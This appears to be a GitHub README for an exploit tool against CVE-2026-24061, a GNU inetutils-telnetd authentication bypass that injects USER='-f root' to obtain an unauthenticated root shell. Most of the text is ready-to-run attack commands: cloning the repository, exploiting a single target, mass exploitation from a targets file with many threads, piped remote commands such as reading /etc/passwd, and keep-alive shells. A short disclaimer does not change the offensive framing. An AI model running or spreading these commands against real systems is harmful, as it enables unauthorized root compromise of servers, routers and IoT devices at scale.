CVE-2026-24061

CVE-2026-24061 - GNU inetutils-telnetd Authentication Bypass Exploit

GNU inetutils-telnetd Edition - CRLF Injection to Authentication Bypass & Instant Root Shell

-Overview

This exploit leverages CVE-2026-24061, a critical remote authentication bypass vulnerability in GNU inetutils-telnetd. By injecting a crafted NEW_ENVIRON payload with USER='-f root', it bypasses authentication and grants an instant root shell without any credentials.

Note: The basic_exploit.sh script is a simplified, faster version of exploit.sh; however, exploit.sh is recommended for full functionality.

[>] Key Features

Category	Features
Exploitation	✅ Authentication Bypass via CRLF Injection ✅ Instant Root Shell ✅ Custom User Injection (-f admin, -f user)
Scanning	✅ Single Target Exploitation ✅ Mass Exploitation from File ✅ Multi-Threading (configurable threads) ✅ Custom Port Support
Advanced	✅ Pipe Mode (command execution via stdin) ✅ Session Keep-Alive ✅ Retry Mechanism ✅ Timeout Control
Usability	✅ Colored Output (colorama) ✅ Dual Language (Python & Bash) ✅ Verbose/Debug Mode

[V] Vulnerable Versions

Product	Versions
GNU inetutils-telnetd	1.9.3 - 2.7
Affected Linux Distributions	Debian, CentOS, Ubuntu and their distributions. (Zorin OS, Linux Mint, Pop!_OS and Elementary OS)
Embedded Devices	NAS, IoT, Routers

[!] Disclaimer: This tool is for authorized security testing and educational purposes only. Unauthorized access is illegal.

Installation

# python vers better btw

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit
cd CVE-2026-24061-PoC-Exploit

# Python version
pip3 install -r requirements.txt

# Bash version
chmod +x exploit.sh
chmod +x basic_exploit.sh

[i] Usage Examples

Single Target Exploitation

# Python version
python3 exploit.py -u 192.168.1.100

# Bash version
./exploit.sh -u 192.168.1.100
./basic_exploit.sh 192.168.1.100

Custom Port and User

# Custom port (non-standard telnet port)
python3 exploit.py -u 10.0.0.5 -p 2323

# Custom username injection
python3 exploit.py -u 10.0.0.5 -usr admin

Mass Exploitation (Multi-Target)

# Create targets file
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "10.0.0.5:2323" >> targets.txt

# Mass exploit with 20 threads
python3 exploit.py -l targets.txt -m 20

# Bash version
./exploit.sh -l targets.txt -m 20

Pipe Mode (Command Execution)

# Execute commands via pipe
echo "id; whoami; uname -a" | python3 exploit.py -u 192.168.1.100

# Multiple commands
echo "ls -la; cat /etc/passwd; ps aux" | ./exploit.sh -u 192.168.1.100

Advanced Options

# Verbose mode with debug output
python3 exploit.py -u 192.168.1.100 -v

# Custom timeout and retries
python3 exploit.py -u 192.168.1.100 --timeout 10 --retries 5

# Session keep-alive (maintain shell)
python3 exploit.py -u 192.168.1.100 --keep-alive

[-<] Command Line Arguments

Short	Long	Description	Default
`-u`	`--url`	Target IP address	Required
`-p`	`--port`	Target port	23
`-l`	`--list`	File containing target list	None
`-m`	`--max-threads`	Maximum threads for mass exploitation	10
`-usr`	`--username`	Username to inject	root
`-t`	`--timeout`	Socket timeout (seconds)	10
`-r`	`--retries`	Number of retry attempts	3
`-v`	`--verbose`	Enable debug output	False
`--keep-alive`		Keep session alive after exploitation	False

Check out my other exploit repositories:

CVE-2026-24061-PoC-Exploit

인기